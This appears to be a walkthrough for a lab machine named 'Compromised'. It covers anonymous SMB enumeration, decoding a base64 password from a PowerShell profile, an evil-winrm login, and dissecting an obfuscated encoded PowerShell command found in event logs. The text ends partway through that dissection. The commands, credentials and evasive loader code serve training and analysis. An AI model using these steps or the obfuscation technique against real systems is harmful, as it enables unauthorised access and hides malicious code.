Exploitation Guide for Compromised

Summary
We’ll exploit this machine via exposed credentials in an SMB share. We’ll be able to escalate our privileges to Administrator due by leveraging an obfuscated PowerShell command for password exposure.
Enumeration
Nmap
We’ll begin with an nmap
scan against all TCP ports.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -T4 -p- 192.168.120.140
Starting Nmap 7.91 ( <https://nmap.org> ) at 2021-07-14 19:13 EDT
Nmap scan report for 192.168.120.140
Host is up (0.031s latency).
Not shown: 65526 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
...
Let’s focus on SMB.
Anonymous SMB Enumeration
We can try to connect as anonymous and list the shares.
┌──(kali㉿kali)-[~]
└─$ smbclient -L 192.168.120.140 -U " "%" "
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Scripts$ Disk
Users$ Disk
We’ll discover two non-standard shares, Scripts and Users∗∗and∗∗Users. Let’s begin enumerating their contents.
┌──(kali㉿kali)-[~]
└─$ smbclient \\\\\\\\192.168.120.140\\\\scripts$ -U " "%" "
Try "help" to get a list of possible commands.
smb: \\> ls
. D 0 Tue Jun 1 10:57:45 2021
.. D 0 Tue Jun 1 10:57:45 2021
defrag.ps1 A 49 Tue Jun 1 10:57:45 2021
fix-printservers.ps1 A 283 Tue Jun 1 10:57:45 2021
install-features.ps1 A 81 Tue Jun 1 10:57:45 2021
purge-temp.ps1 A 105 Tue Jun 1 10:57:45 2021
7706623 blocks of size 4096. 2741171 blocks available
...
Viewing the contents of fix-printservers.ps1, we discover a potential username called scripting.
┌──(kali㉿kali)-[~]
└─$ smbclient \\\\\\\\192.168.120.140\\\\scripts$ -U " "%" "
Try "help" to get a list of possible commands.
smb: \\> ls
. D 0 Tue Jun 1 10:57:45 2021
.. D 0 Tue Jun 1 10:57:45 2021
defrag.ps1 A 49 Tue Jun 1 10:57:45 2021
fix-printservers.ps1 A 283 Tue Jun 1 10:57:45 2021
install-features.ps1 A 81 Tue Jun 1 10:57:45 2021
purge-temp.ps1 A 105 Tue Jun 1 10:57:45 2021
7706623 blocks of size 4096. 3768222 blocks available
smb: \\> get fix-printservers.ps1
getting file \\fix-printservers.ps1 of size 283 as fix-printservers.ps1 (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)
┌──(kali㉿kali)-[~]
└─$ cat fix-printservers.ps1
$credential = New-Object System.Management.Automation.PSCredential ('scripting', $password)
$spooler = Get-WmiObject -Class Win32_Service -ComputerName (Read-Host -Prompt 'Server Name') -Credential $credential -Filter "Name='spooler'"
$spooler.stopservice()
$spooler.startservice()
...
We discover another PowerShell script, profile.ps1, in the scripting\Documents\WIndowsPowerShell directory of the Users$ share.
┌──(kali㉿kali)-[~]
└─$ smbclient \\\\\\\\192.168.120.140\\\\users$ -U " "%" "
Try "help" to get a list of possible commands.
smb: \\> cd scripting\\Documents\\WIndowsPowerShell
smb: \\scripting\\Documents\\WIndowsPowerShell\\> ls
. D 0 Tue Jun 1 11:00:27 2021
.. D 0 Tue Jun 1 11:00:27 2021
profile.ps1 AH 239 Tue Jun 1 11:00:27 2021
7706623 blocks of size 4096. 2744217 blocks available
smb: \\scripting\\Documents\\WIndowsPowerShell\\> get profile.ps1
getting file \\scripting\\Documents\\WIndowsPowerShell\\profile.ps1 of size 239 as profile.ps1 (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)
Let’s retrieve this script and output its contents. We discover a base64 encoded string.
┌──(kali㉿kali)-[~]
└─$ cat profile.ps1
$password = ConvertTo-SecureString "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgByAGkAZQBuAGQAcwBEAG8AbgB0AEwAZQB0AEYAcgBpAGUAbgBkAHMAQgBhAHMAZQA2ADQAUABhAHMAcwB3AG8AcgBkAHMA')))" -AsPlainText -Force
Exploitation
Decoding this string reveals what seems to be a password. Let’s venture a guess that this password belongs to the scripting
user we discovered earlier.
┌──(kali㉿kali)-[~]
└─$ echo 'RgByAGkAZQBuAGQAcwBEAG8AbgB0AEwAZQB0AEYAcgBpAGUAbgBkAHMAQgBhAHMAZQA2ADQAUABhAHMAcwB3AG8AcgBkAHMA' | base64 -d
FriendsDontLetFriendsBase64Passwords
...
Windows Remote Management
We’ll use the credentials discovered from SMB to log in directly into a WinRM session.
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 192.168.120.140 -u scripting -p 'FriendsDontLetFriendsBase64Passwords'
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\scripting\\Documents> whoami
compromised\\scripting
...
Nice! We’ve obtained local access on the target.
Escalation
PowerShell Deobfuscation
Located on the target machine is a C:\Troubleshooting directory containing a logs.ps1 file. Executing this script will create a CSV file named powershell-logs.csv.
*Evil-WinRM* PS C:\\> cd Troubleshooting
*Evil-WinRM* PS C:\\Troubleshooting> ls
Directory: C:\\Troubleshooting
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/13/2021 7:48 AM 96 logs.ps1
*Evil-WinRM* PS C:\\Troubleshooting> type logs.ps1
Get-EventLog -LogName 'Windows Powershell' | Export-CSV C:\\Troubleshooting\\powershell-logs.csv
*Evil-WinRM* PS C:\\Troubleshooting> ./logs.ps1
*Evil-WinRM* PS C:\\Troubleshooting> ls
Directory: C:\\Troubleshooting
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/13/2021 7:48 AM 96 logs.ps1
-a---- 7/14/2021 6:06 PM 129043 powershell-logs.csv
We’ll transfer this CSV file to our Kali machine for further enumeration. We can simply grep
for powershell.exe*
to find an encoded PowerShell command.
┌──(kali㉿kali)-[~]
└─$ cat powershell-logs.csv | grep powershell.exe*
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc JABPAHcAbgBlAGQAIAA9ACAAQAAoACkAOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAJABEAGUAYwBvAGQAZQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEAQQB2AEoAUwBBADMATwBTAE0AMwBKADgAUwB6ADIAegBVAHoAUABLAE0AbABNAEwAUQByAEoAUwBNAHcATABBAFkAcQBXADUAeABlAGwASwBBAEkAQQAwADcAeABrAEgAQgA4AEEAQQBBAEEAPQAiACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBbAHMAdAByAGkAbgBnAF0AOgA6AGoAbwBpAG4AKAAnACcALAAgACgAIAAoADgAMwAsADEAMQA2ACwAOQA3ACwAMQAxADQALAAxADEANgAsADQANQAsADgAMwAsADEAMAA4ACwAMQAwADEALAAxADAAMQAsADEAMQAyACwAMwAyACwANAA1ACwAOAAzACwAMQAwADEALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAwADAALAAxADEANQAsADMAMgAsADUAMwApACAAfAAlAHsAIAAoACAAWwBjAGgAYQByAF0AWwBpAG4AdABdACAAJABfACkAfQApACkAIAB8ACAAJgAgACgAKABnAHYAIAAiACoAbQBkAHIAKgAiACkALgBuAGEAbQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBpAG4AJwAnACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBpAGYAKAAkAGUAbgB2ADoAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGUAIAAtAGUAcQAgACIAYwBvAG0AcAByAG8AbQBpAHMAZQBkACIAKQAgAHsAZQB4AGkAdAB9AH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMQAxADYALAAxADAAMQAsADEAMQA1ACwAMQAxADYALAA0ADUALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAxADAALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMQAwADUALAAxADEAMQAsADEAMQAwACwAMwAyACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwAMwAyACwANAA1ACwAOAAxACwAMQAxADcALAAxADAANQAsADEAMAAxACwAMQAxADYALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUAKQAgAHwAJQB7ACAAKAAgAFsAYwBoAGEAcgBdAFsAaQBuAHQAXQAgACQAXwApAH0AKQApACAAfAAgACYAIAAoACgAZwB2ACAAIgAqAG0AZAByACoAIgApAC4AbgBhAG0AZQBbADMALAAxADEALAAyAF0ALQBqAG8AaQBuACcAJwApAH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMwA2ACwAMQAxADEALAAxADEAOQAsADEAMQAwACwAMQAwADEALAAxADAAMAAsADkAMQAsADUAMAAsADkAMwAsADQANgAsADgANAAsADEAMQAxACwAOAAzACwAMQAxADYALAAxADEANAAsADEAMAA1ACwAMQAxADAALAAxADAAMwAsADQAMAAsADQAMQAsADMAMgAsADQANQAsADEAMQAwACwAMQAwADEALAAzADIALAAzADkALAAxADAANQAsADEAMAAyACwANAAwACwAMwA2ACwAMQAwADEALAAxADEAMAAsADEAMQA4ACwANQA4ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADcALAAxADEANgAsADEAMAAxACwAMQAxADQALAAxADEAMAAsADkANwAsADEAMAA5ACwAMQAwADEALAAzADIALAA0ADUALAAxADAAMQAsADEAMQAzACwAMwAyACwAMwA0ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADQALAAxADEAMQAsADEAMAA5ACwAMQAwADUALAAxADEANQAsADEAMAAxACwAMQAwADAALAAzADQALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADkALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADIALAA2ADkALAAxADAAOAAsADEAMQA1ACwAMQAwADEALAAzADIALAAxADIAMwAsADMANgAsADEAMAA5ACwAMQAxADUALAAzADIALAA2ADEALAAzADIALAA0ADAALAA3ADgALAAxADAAMQAsADEAMQA5ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMwAyACwAOAAzACwAMQAyADEALAAxADEANQAsADEAMQA2ACwAMQAwADEALAAxADAAOQAsADQANgAsADcAMwAsADcAOQAsADQANgAsADcANwAsADEAMAAxACwAMQAwADkALAAxADEAMQAsADEAMQA0ACwAMQAyADEALAA4ADMALAAxADEANgAsADEAMQA0ACwAMQAwADEALAA5ADcALAAxADAAOQAsADQAMAAsADMANgAsADYAOAAsADEAMAAxACwAOQA5ACwAMQAxADEALAAxADAAMAAsADEAMAAxACwAMQAwADAALAA0ADQALAA0ADgALAA0ADQALAAzADYALAA2ADgALAAxADAAMQAsADkAOQAsADEAMQAxACwAMQAwADAALAAxADAAMQAsADEAMAAwACwANAA2ACwANwA2ACwAMQAwADEALAAxADEAMAAsADEAMAAzACwAMQAxADYALAAxADAANAAsADQAMQAsADQAMQAsADEAMgA1ACkAIAB8ACUAewAgACgAIABbAGMAaABhAHIAXQBbAGkAbgB0AF0AIAAkAF8AKQB9ACkAKQAgAHwAIAAmACAAKAAoAGcAdgAgACIAKgBtAGQAcgAqACIAKQAuAG4AYQBtAGUAWwAzACwAMQAxACwAMgBdAC0AagBvAGkAbgAnACcAKQB9ADsAJABPAHcAbgBlAGQAIAArAD0AIAB7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEsAQQBCAE8AQQBHAFUAQQBkAHcAQQB0AEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBVAHcAQgA1AEEASABNAEEAZABBAEIAbABBAEcAMABBAEwAZwBCAEoAQQBFADgAQQBMAGcAQgBUAEEASABRAEEAYwBnAEIAbABBAEcARQBBAGIAUQBCAFMAQQBHAFUAQQBZAFEAQgBrAEEARwBVAEEAYwBnAEEAbwBBAEUANABBAFoAUQBCADMAQQBDADAAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBCAFQAQQBIAGsAQQBjAHcAQgAwAEEARwBVAEEAYgBRAEEAdQBBAEUAawBBAFQAdwBBAHUAQQBFAE0AQQBiAHcAQgB0AEEASABBAEEAYwBnAEIAbABBAEgATQBBAGMAdwBCAHAAQQBHADgAQQBiAGcAQQB1AEEARQBjAEEAVwBnAEIAcABBAEgAQQBBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEASwBBAEEAawBBAEcAMABBAGMAdwBBAHMAQQBDAEEAQQBXAHcAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFAGsAQQBUAHcAQQB1AEEARQBNAEEAYgB3AEIAdABBAEgAQQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEUATQBBAGIAdwBCAHQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcABBAEcAOABBAGIAZwBCAE4AQQBHADgAQQBaAEEAQgBsAEEARgAwAEEATwBnAEEANgBBAEUAUQBBAFoAUQBCAGoAQQBHADgAQQBiAFEAQgB3AEEASABJAEEAWgBRAEIAegBBAEgATQBBAEsAUQBBAHAAQQBDAGsAQQBMAGcAQgB5AEEARwBVAEEAWQBRAEIAawBBAEgAUQBBAGIAdwBCAGwAQQBHADQAQQBaAEEAQQBvAEEAQwBrAEEAIgApACkAIAB8ACAAaQBlAHgAfQA7ACQATwB3AG4AZQBkACAAfAAgACUAIAB7ACQAXwB8AGkAZQB4AH0A
...
Let’s review the parameters at play in this case:
NoP
(-NoProfile) - Does not load the Windows PowerShell profileNonI
(-NonInteractive) - Does not present an interactive prompt to the userW Hidden
(-WindowStyle) - Sets the window style to hiddenExec Bypass
(-ExecutionPolicy) - Sets the default execution policy for the current sessionEnc
(-EncodedCommand) - Accepts a base64 encoded string version of a command
Decoding the Initial Command
Our only concern now is handling the base64 encoded payload. We can safely decode this without executing any the commands contained within.
$Base64Encoded = 'JABPAHcAbgBlAGQAIAA9ACAAQAAoACkAOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAJABEAGUAYwBvAGQAZQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEAQQB2AEoAUwBBADMATwBTAE0AMwBKADgAUwB6ADIAegBVAHoAUABLAE0AbABNAEwAUQByAEoAUwBNAHcATABBAFkAcQBXADUAeABlAGwASwBBAEkAQQAwADcAeABrAEgAQgA4AEEAQQBBAEEAPQAiACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBbAHMAdAByAGkAbgBnAF0AOgA6AGoAbwBpAG4AKAAnACcALAAgACgAIAAoADgAMwAsADEAMQA2ACwAOQA3ACwAMQAxADQALAAxADEANgAsADQANQAsADgAMwAsADEAMAA4ACwAMQAwADEALAAxADAAMQAsADEAMQAyACwAMwAyACwANAA1ACwAOAAzACwAMQAwADEALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAwADAALAAxADEANQAsADMAMgAsADUAMwApACAAfAAlAHsAIAAoACAAWwBjAGgAYQByAF0AWwBpAG4AdABdACAAJABfACkAfQApACkAIAB8ACAAJgAgACgAKABnAHYAIAAiACoAbQBkAHIAKgAiACkALgBuAGEAbQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBpAG4AJwAnACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBpAGYAKAAkAGUAbgB2ADoAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGUAIAAtAGUAcQAgACIAYwBvAG0AcAByAG8AbQBpAHMAZQBkACIAKQAgAHsAZQB4AGkAdAB9AH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMQAxADYALAAxADAAMQAsADEAMQA1ACwAMQAxADYALAA0ADUALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAxADAALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMQAwADUALAAxADEAMQAsADEAMQAwACwAMwAyACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwAMwAyACwANAA1ACwAOAAxACwAMQAxADcALAAxADAANQAsADEAMAAxACwAMQAxADYALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUAKQAgAHwAJQB7ACAAKAAgAFsAYwBoAGEAcgBdAFsAaQBuAHQAXQAgACQAXwApAH0AKQApACAAfAAgACYAIAAoACgAZwB2ACAAIgAqAG0AZAByACoAIgApAC4AbgBhAG0AZQBbADMALAAxADEALAAyAF0ALQBqAG8AaQBuACcAJwApAH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMwA2ACwAMQAxADEALAAxADEAOQAsADEAMQAwACwAMQAwADEALAAxADAAMAAsADkAMQAsADUAMAAsADkAMwAsADQANgAsADgANAAsADEAMQAxACwAOAAzACwAMQAxADYALAAxADEANAAsADEAMAA1ACwAMQAxADAALAAxADAAMwAsADQAMAAsADQAMQAsADMAMgAsADQANQAsADEAMQAwACwAMQAwADEALAAzADIALAAzADkALAAxADAANQAsADEAMAAyACwANAAwACwAMwA2ACwAMQAwADEALAAxADEAMAAsADEAMQA4ACwANQA4ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADcALAAxADEANgAsADEAMAAxACwAMQAxADQALAAxADEAMAAsADkANwAsADEAMAA5ACwAMQAwADEALAAzADIALAA0ADUALAAxADAAMQAsADEAMQAzACwAMwAyACwAMwA0ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADQALAAxADEAMQAsADEAMAA5ACwAMQAwADUALAAxADEANQAsADEAMAAxACwAMQAwADAALAAzADQALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADkALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADIALAA2ADkALAAxADAAOAAsADEAMQA1ACwAMQAwADEALAAzADIALAAxADIAMwAsADMANgAsADEAMAA5ACwAMQAxADUALAAzADIALAA2ADEALAAzADIALAA0ADAALAA3ADgALAAxADAAMQAsADEAMQA5ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMwAyACwAOAAzACwAMQAyADEALAAxADEANQAsADEAMQA2ACwAMQAwADEALAAxADAAOQAsADQANgAsADcAMwAsADcAOQAsADQANgAsADcANwAsADEAMAAxACwAMQAwADkALAAxADEAMQAsADEAMQA0ACwAMQAyADEALAA4ADMALAAxADEANgAsADEAMQA0ACwAMQAwADEALAA5ADcALAAxADAAOQAsADQAMAAsADMANgAsADYAOAAsADEAMAAxACwAOQA5ACwAMQAxADEALAAxADAAMAAsADEAMAAxACwAMQAwADAALAA0ADQALAA0ADgALAA0ADQALAAzADYALAA2ADgALAAxADAAMQAsADkAOQAsADEAMQAxACwAMQAwADAALAAxADAAMQAsADEAMAAwACwANAA2ACwANwA2ACwAMQAwADEALAAxADEAMAAsADEAMAAzACwAMQAxADYALAAxADAANAAsADQAMQAsADQAMQAsADEAMgA1ACkAIAB8ACUAewAgACgAIABbAGMAaABhAHIAXQBbAGkAbgB0AF0AIAAkAF8AKQB9ACkAKQAgAHwAIAAmACAAKAAoAGcAdgAgACIAKgBtAGQAcgAqACIAKQAuAG4AYQBtAGUAWwAzACwAMQAxACwAMgBdAC0AagBvAGkAbgAnACcAKQB9ADsAJABPAHcAbgBlAGQAIAArAD0AIAB7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEsAQQBCAE8AQQBHAFUAQQBkAHcAQQB0AEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBVAHcAQgA1AEEASABNAEEAZABBAEIAbABBAEcAMABBAEwAZwBCAEoAQQBFADgAQQBMAGcAQgBUAEEASABRAEEAYwBnAEIAbABBAEcARQBBAGIAUQBCAFMAQQBHAFUAQQBZAFEAQgBrAEEARwBVAEEAYwBnAEEAbwBBAEUANABBAFoAUQBCADMAQQBDADAAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBCAFQAQQBIAGsAQQBjAHcAQgAwAEEARwBVAEEAYgBRAEEAdQBBAEUAawBBAFQAdwBBAHUAQQBFAE0AQQBiAHcAQgB0AEEASABBAEEAYwBnAEIAbABBAEgATQBBAGMAdwBCAHAAQQBHADgAQQBiAGcAQQB1AEEARQBjAEEAVwBnAEIAcABBAEgAQQBBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEASwBBAEEAawBBAEcAMABBAGMAdwBBAHMAQQBDAEEAQQBXAHcAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFAGsAQQBUAHcAQQB1AEEARQBNAEEAYgB3AEIAdABBAEgAQQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEUATQBBAGIAdwBCAHQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcABBAEcAOABBAGIAZwBCAE4AQQBHADgAQQBaAEEAQgBsAEEARgAwAEEATwBnAEEANgBBAEUAUQBBAFoAUQBCAGoAQQBHADgAQQBiAFEAQgB3AEEASABJAEEAWgBRAEIAegBBAEgATQBBAEsAUQBBAHAAQQBDAGsAQQBMAGcAQgB5AEEARwBVAEEAWQBRAEIAawBBAEgAUQBBAGIAdwBCAGwAQQBHADQAQQBaAEEAQQBvAEEAQwBrAEEAIgApACkAIAB8ACAAaQBlAHgAfQA7ACQATwB3AG4AZQBkACAAfAAgACUAIAB7ACQAXwB8AGkAZQB4AH0A'
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Base64Encoded))
Completing this step reveals the below command, which contains more obfuscated code in a single line:
$Owned = @();$Owned += {$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")};$Owned += {[string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')};$Owned += {if($env:computername -eq "compromised") {exit}};$Owned += {[string]::join('', ( (105,102,32,40,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,56,46,56,46,56,46,56,32,45,81,117,105,101,116,41,32,123,101,120,105,116,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')};$Owned += {[string]::join('', ( (105,102,32,40,36,111,119,110,101,100,91,50,93,46,84,111,83,116,114,105,110,103,40,41,32,45,110,101,32,39,105,102,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,32,45,101,113,32,34,99,111,109,112,114,111,109,105,115,101,100,34,41,32,123,101,120,105,116,125,39,41,32,123,101,120,105,116,125,32,69,108,115,101,32,123,36,109,115,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,40,36,68,101,99,111,100,101,100,44,48,44,36,68,101,99,111,100,101,100,46,76,101,110,103,116,104,41,41,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')};$Owned += {[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgByAGUAYQBkAHQAbwBlAG4AZAAoACkA")) | iex};$Owned | % {$_|iex}
Dissecting the Command
The code itself is delimited using a ;
character. We can break it down into individual lines by splitting the code at those points.
┌──(kali㉿kali)-[~]
└─$ cut -d ';' --output-delimiter=$'\\n' -f1- ps.txt > multi-line.txt
┌──(kali㉿kali)-[~]
└─$ cat -n multi-line.txt
1 $Owned = @()
2 $Owned += {$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")}
3 $Owned += {[string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')}
4 $Owned += {if($env:computername -eq "compromised") {exit}}
5 $Owned += {[string]::join('', ( (105,102,32,40,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,56,46,56,46,56,46,56,32,45,81,117,105,101,116,41,32,123,101,120,105,116,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')}
6 $Owned += {[string]::join('', ( (105,102,32,40,36,111,119,110,101,100,91,50,93,46,84,111,83,116,114,105,110,103,40,41,32,45,110,101,32,39,105,102,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,32,45,101,113,32,34,99,111,109,112,114,111,109,105,115,101,100,34,41,32,123,101,120,105,116,125,39,41,32,123,101,120,105,116,125,32,69,108,115,101,32,123,36,109,115,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,40,36,68,101,99,111,100,101,100,44,48,44,36,68,101,99,111,100,101,100,46,76,101,110,103,116,104,41,41,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')}
7 $Owned += {[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgByAGUAYQBkAHQAbwBlAG4AZAAoACkA")) | iex}
8 $Owned | % {$_|iex}
With the code presented on individual lines, we’re ready to conduct some initial analysis before decoding each element.
- Line 3 - An array is declared, and the script is storing commands as elements of that array
- Lines 2, 7 - There are two base64 encoded strings
- Line 4 - There is a readable command that will force an exit if the script is executed on a machine named compromised
- Lines 3, 5, 6 - There are three obfuscated commands stored as a character array
- Line 8 - Finally, the script loops through the array and executes the code within each array element
Dissecting Each Line
We’ll notice the third line element is performing two distinct actions. First, it creates a string by looping through an array of integers and converting them to their ASCII equivalent. Next, the array is piped into another action grabbing a variable that contains the letters mdr
. Once these characters are in positions 3, 11, and 2, they are joined together and executed as a command.
